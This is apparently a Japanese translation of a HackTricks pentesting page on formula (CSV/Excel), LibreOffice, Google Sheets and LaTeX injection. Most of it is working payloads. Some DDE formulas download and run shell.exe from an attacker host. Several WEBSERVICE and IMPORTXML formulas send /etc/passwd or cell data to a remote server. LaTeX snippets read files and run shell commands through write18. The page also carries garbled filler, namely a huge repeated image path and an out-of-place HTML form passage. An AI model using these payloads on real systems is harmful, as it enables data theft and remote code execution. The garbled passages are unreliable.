hacktricks/pentesting-web/formula-doc-latex-injection.md

20 KiB
Raw Blame History

フォーミュラ/CSV/ドキュメント/LaTeXインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


フォーミュラインジェクション

情報

もし、入力CSVファイルまたはExcelで開かれる可能性のある他のファイル反映されている場合、Excelシート内でユーザーがファイルを開くか、Excelシート内のリンクをクリックすると、Excel フォーミュラを実行することができるかもしれません。

{% hint style="danger" %} 現在、Excelは外部からの読み込み時にユーザーに警告を表示します(何度も)。これは、悪意のある行動を防ぐためです。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意が必要です。 {% endhint %}

ワードリスト

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

ハイパーリンク

次の例は、最終的なExcelシートからコンテンツを外部に持ち出し、任意の場所にリクエストを実行するのに非常に便利です。ただし、リンクをクリックする必要がありますおよび警告プロンプトを受け入れる必要があります

例はhttps://payatu.com/csv-injection-basic-to-exploitから取得されました。

学校の学生記録管理システムの攻撃シナリオを想定しましょう。このアプリケーションでは、教師が学校の生徒の詳細を入力することができます。攻撃者はアプリケーションにアクセスし、アプリケーションを使用しているすべての教師を侵害したいと考えています。そのため、攻撃者はWebアプリケーションを介してCSVインジェクション攻撃を試みます。
攻撃者は他の学生の詳細を盗む必要があります。そのため、攻撃者は学生の詳細を入力する際にハイパーリンクの式を使用します。

教師がCSVをエクスポートし、ハイパーリンクをクリックすると、機密データが攻撃者のサーバーに送信されます。

エクスポートされたCSVファイルには、悪意のあるペイロードが含まれています。

攻撃者のWebサーバーには、学生の詳細がログインされています。

RCE

この例が動作するには、次の設定を有効にする必要があります:
ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツ → ダイナミックデータ交換サーバーランチを有効にする
または、古いバージョンのExcelを使用します。

良いニュースは、このペイロードはファイルが開かれると自動的に実行されることです(ユーザーが警告を受け入れる場合)。

次のペイロードで電卓を実行することが可能です =cmd|' /C calc'!xxx

![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LFI

LibreOffice Calc

  • ローカルの/etc/passwdファイルから1行目を読み取ります='file:///etc/passwd'#$passwd.A1
  • エクスフィルトします:=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
  • 複数の行をエクスフィルトします:=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNSエクスフィルト=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))

DNSエクスフィルトペイロードの解析:

  • file:///etc/passwd#$passwd.A19 ローカルの/etc/passwdファイルから19行目を読み取ります
  • ENCODEURL(file:///etc/passwd#$passwd.A19) 返されたデータをURLエンコードします
  • MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) サブストリングに似ていますが、1文字目から41文字目までのデータを読み取ります。これはDNSホスト名の長さを制限する非常に便利な方法ですFQDNの文字数制限は254文字であり、ラベルサブドメインの文字数制限は63文字です
  • SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) %URLエンコードの特殊文字のすべてのインスタンスをダッシュに置き換えます。これにより、有効なDNS文字のみが使用されることが保証されます
  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) ファイルからの出力上記の処理が行われた後をFQDNと連結しますドメインの権限を持つホストにアクセスできる
  • WEBSERVICE この存在しないDNS名に対してリクエストを行い、その後、DNSの権威名サーバー上のログを解析したりまたはtcpdumpなどを実行したりします。このサーバーは私たちが制御しています

Google Sheets OOBデータエクスフィルト

まず、いくつかの興味深い関数を紹介しましょう。

CONCATENATE: 文字列を連結します。

=CONCATENATE(A2:E2)

IMPORTXML: XML、HTML、CSV、TSV、RSS、ATOM XMLフィードなど、さまざまな構造化データタイプからデータをインポートします。

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: RSSまたはATOMフィードをインポートします。

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: HTMLページ内のテーブルやリストからデータをインポートします。

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: 指定されたスプレッドシートからセルの範囲をインポートします。

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

画像: セルに画像を挿入します。

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

LaTeXインジェクション

通常、インターネット上で見つけることができるLaTeXコードをPDFに変換するサーバーは、**pdflatex**を使用しています。
このプログラムは、コマンドの実行を無効に許可するために3つの主要な属性を使用します

  • --no-shell-escape\write18{command}構文を無効にします。texmf.cnfファイルで有効になっていても無効にします。
  • --shell-restricted--shell-escapeと同じですが、'安全な'事前定義のコマンドのセットに制限されますUbuntu 16.04では、リストは/usr/share/texmf/web2c/texmf.cnfにあります)。
  • --shell-escape\write18{command}構文を有効にします。コマンドは任意のシェルコマンドです。この構文は通常、セキュリティ上の理由から許可されていません。

ただし、コマンドを実行するための他の方法もありますので、RCEを回避するためには--shell-restrictedを使用することが非常に重要です。

ファイルの読み取り

[や$などのラッパーを使用してインジェクションを調整する必要がある場合があります。

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

1行のファイルを読む

<form action="/read-file" method="POST">
  <input type="text" name="file" value="/etc/passwd">
  <input type="submit" value="Read File">
</form>

このフォームは、指定されたファイルを読み取るために使用されます。action属性は、フォームが送信されたときにデータを送信するURLを指定します。method属性は、データの送信方法を指定しますこの場合はPOSTinput要素のname属性は、送信されるデータの名前を指定します。value属性は、デフォルトのファイルパスを指定します。

攻撃者は、このフォームを使用して、/etc/passwdファイルなどの機密情報を読み取ることができます。攻撃者は、fileパラメータに悪意のある入力を提供することで、ファイルのパスを変更できます。これにより、攻撃者はシステム上の他のファイルを読み取ることができます。

この脆弱性を悪用するために、攻撃者はfileパラメータに次のような入力を提供します。

/etc/passwd

攻撃者がこの入力を送信すると、サーバーは/etc/passwdファイルを読み取り、その内容を返します。攻撃者は、この情報を使用して、システム上のユーザー名やパスワードなどの機密情報を取得することができます。

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

複数行のファイルを読む

To read a file that contains multiple lines, you can use the following command:

複数行を含むファイルを読むには、次のコマンドを使用します。

cat filename

Replace filename with the name of the file you want to read.

filename の部分を読みたいファイルの名前に置き換えてください。

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

ファイルの書き込み

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

コマンドの実行

コマンドの入力はstdinにリダイレクトされます。それを取得するために一時ファイルを使用します。

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

もしLaTexのエラーが発生した場合は、ベース64を使用して悪意のある文字を含まない結果を得ることを検討してください。

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

クロスサイトスクリプティング

@EdOverflowからの情報です。

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

参考文献

最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥